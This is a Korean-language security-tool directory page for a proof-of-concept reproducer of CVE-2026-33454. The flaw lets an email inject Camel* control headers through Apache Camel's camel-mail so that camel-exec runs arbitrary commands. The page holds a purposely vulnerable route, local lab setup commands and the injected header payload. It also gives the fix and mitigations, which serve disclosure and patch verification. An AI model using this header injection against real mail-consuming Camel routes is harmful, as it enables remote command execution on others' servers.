Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-33454 — CVE-2026-33454 재현기: Apache Camel camel-mail 헤더 인젝션을 통한 camel-exec RCE | Kitploit
도구/GitHubGitHub/oscerd/cve-2026-33454
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHuboscerd/cve-2026-33454

CVE-2026-33454

CVE-2026-33454 재현기: Apache Camel camel-mail 헤더 인젝션을 통한 camel-exec RCE

저장소 보기
1112개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

camel-mail 헤더 인젝션 → RCE 취약점 재현기 (CVE-2026-33454)

이 프로젝트는 Apache Camel의 camel-mail 컴포넌트에서 발견된 Camel 메시지 헤더 인젝션(CVE-2026-33454) 취약점을 시연합니다. 공격자는 Camel 메일 컨슈머가 모니터링하는 메일함으로 이메일을 전송하여 Camel* 제어 헤더를 Exchange에 주입할 수 있으며, 라우트가 camel-exec와 같은 헤더 민감 프로듀서로 전달될 때 원격 코드 실행을 달성할 수 있습니다.

권고: https://camel.apache.org/security/CVE-2026-33454.html

취약점 요약

속성값
구성 요소camel-mail
영향받는 클래스org.apache.camel.component.mail.MailHeaderFilterStrategy (+ MailBinding.extractHeadersFromMail)
근본 원인필터 전략이 OUT 방향만 구성(setOutFilterStartsWith)하고 IN 방향을 구성하지 않아, 인바운드 MIME 헤더가 필터링되지 않음
CWECWE-20: 부적절한 입력 검증 (Camel 메시지 헤더 인젝션)
영향원격 코드 실행 (헤더 민감 프로듀서를 통해, 예: camel-exec)
영향받는 버전3.0.0부터 4.14.6 이전, 4.15.0부터 4.18.1 이전
수정된 버전4.14.6, 4.18.1, 4.19.0
JIRACAMEL-23222
제보자Hyunwoo Kim (@v4bel)

기술적 세부 사항

MailHeaderFilterStrategy는 DefaultHeaderFilterStrategy를 확장합니다. 영향을 받는 버전에서는 생성자가 아웃 필터만 구성하고 인 필터는 전혀 설정하지 않습니다:

root@kitploit:~
// MailHeaderFilterStrategy - 영향을 받는 버전 (OUT 방향만 필터링됨)
public MailHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);   // OUT만
    // setInFilterStartsWith(...) 없음 -> 인바운드 Camel* 헤더는 필터링되지 않음
}

Camel이 메일을 소비할 때(예: from("imap://...") 또는 from("pop3://...")), MailBinding.extractHeadersFromMail()은 headerFilterStrategy.applyFilterToExternalHeaders(...)의 제어를 받아 모든 MIME 헤더를 Exchange In 헤더로 복사합니다. 인 필터가 구성되지 않았기 때문에 Camel* 접두사가 붙은 MIME 헤더가 그대로 통과합니다:

root@kitploit:~
// MailBinding.extractHeadersFromMail() - 인-필터가 구성되지 않아 Camel*이 통과함
Enumeration<?> names = mailMessage.getAllHeaders();
...
boolean keep = !headerFilterStrategy.applyFilterToExternalHeaders(headerName, value, exchange);
if (keep) { answer.put(headerName, value); }

따라서 모니터링 중인 메일함에 이메일을 보낼 수 있는 공격자는 임의의 Camel* 제어 헤더를 설정할 수 있습니다. 라우트가 camel-exec와 같은 헤더 민감 프로듀서로 전달되면 CamelExecCommandExecutable / CamelExecCommandArgs 헤더가 명령을 재정의하여(해당 버전에서 기본적으로 존중됨) 임의 OS 명령 실행이 가능합니다.

피해자 라우트

root@kitploit:~
from("imap://127.0.0.1:3143?username=victim&password=secret&delete=true&unseen=true")
    .to("exec:echo?args=hello")     // 고정된, 무해한 명령
    .convertBodyTo(String.class);

사전 요구 사항

  • Java 17+
  • Maven 3.8+
  • Docker (메일 서버 실행)

재현 단계

1단계: 메일 서버 시작 (Docker)

GreenMail 컨테이너가 SMTP(3025) 및 IMAP(3143) 포트에서 단일 메일함(로그인 victim, 비밀번호 secret, 주소 victim@localhost)을 제공합니다:

root@kitploit:~
docker compose up -d
# 또는:
docker run -d --name greenmail-cve -p 3025:3025 -p 3143:3143 \
  -e GREENMAIL_OPTS='-Dgreenmail.setup.test.all -Dgreenmail.users=victim:secret@localhost -Dgreenmail.hostname=0.0.0.0 -Dgreenmail.auth.disabled -Dgreenmail.verbose' \
  greenmail/standalone:2.1.0

2단계: 애플리케이션 빌드 및 시작

root@kitploit:~
mvn clean package -DskipTests
mvn spring-boot:run

IMAP 피해자 라우트와 8080 포트의 헬퍼 REST 컨트롤러가 시작됩니다.

3단계: 정상 이메일 (기능 확인)

root@kitploit:~
curl http://localhost:8080/exploit/normal

컨슈머가 이메일을 수신하여 echo hello를 실행합니다.

4단계: 공격 — 주입된 Camel* MIME 헤더가 포함된 이메일 전송

root@kitploit:~
# 기본 benign 증명: touch /tmp/pwned
curl http://localhost:8080/exploit/attack

# 또는 실행 파일/인자 선택:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-mail"

이 명령은 MIME 헤더에 다음을 포함하는 이메일을 전송합니다:

root@kitploit:~
CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwned

5단계: 확인

root@kitploit:~
# IMAP 폴링 주기 동안 약 2초 대기 후:
ls -la /tmp/pwned

/tmp/pwned 파일이 존재하면, 주입된 MIME 헤더가 exec 명령을 재정의한 것이므로 RCE가 발생한 것입니다.

정리

root@kitploit:~
docker compose down    # 또는: docker rm -f greenmail-cve

공격 벡터

인젝션은 다운스트림에 헤더 민감 프로듀서만 있으면 됩니다. 권고에서는 camel-bean, camel-exec 및 camel-sql을 언급하고 있습니다. 더 광범위하게:

  • camel-exec — CamelExecCommandExecutable / CamelExecCommandArgs → OS 명령 실행
  • camel-file — CamelFileName → 임의 파일 쓰기 / 경로 탐색
  • camel-bean — CamelBeanMethodName → 다른 메서드 호출
  • camel-sql — 쿼리 제어 헤더

악용 조건

  1. 메일을 소비하는 Camel 라우트(imap://, imaps://, pop3://, ...)
  2. 라우트가 헤더 민감 프로듀서로 전달되거나 그 영향을 받음
  3. 메일 컨슈머와 해당 프로듀서 사이에 removeHeaders("Camel*")가 없음

공격자는 모니터링 중인 메일함에 이메일을 보낼 수만 있으면 됩니다.

권장 수정 사항

수정(CAMEL-23222)은 인바운드 필터도 구성합니다:

root@kitploit:~
public MailHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    String[] inFilter = Arrays.copyOf(CAMEL_FILTER_STARTS_WITH, CAMEL_FILTER_STARTS_WITH.length + 2);
    inFilter[CAMEL_FILTER_STARTS_WITH.length]     = "mail.smtp.";
    inFilter[CAMEL_FILTER_STARTS_WITH.length + 1] = "mail.smtps.";
    setInFilterStartsWith(inFilter);   // 이제 인바운드 방향도 필터링됨
}

완화 조치

업그레이드 전까지:

  1. 메일 소스 메시지에서 Camel 헤더 제거: from("imap:...") 바로 뒤에 .removeHeaders("Camel*") 추가.
  2. 신뢰할 수 없는 메일 이후 헤더 민감 프로듀서 사용을 피하거나 해당 프로듀서의 구성을 고정.
  3. 모니터링 중인 메일함에 전송 가능한 사용자 제한.

파일

root@kitploit:~
CVE-2026-33454/
├── pom.xml
├── docker-compose.yml               # GreenMail 메일 서버 (SMTP 3025 / IMAP 3143)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring Boot 진입점
    │   ├── MailExecRoute.java        # 취약한 피해자 라우트 (imap -> exec)
    │   └── ExploitController.java    # 공격자: SMTP를 통해 악성 이메일 전송
    └── resources/
        └── application.properties

면책 조항

이 재현기는 공개적으로 공개되었고 수정된 취약점에 대한 보안 연구 및 승인된 테스트용으로만 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.

도구 다운로드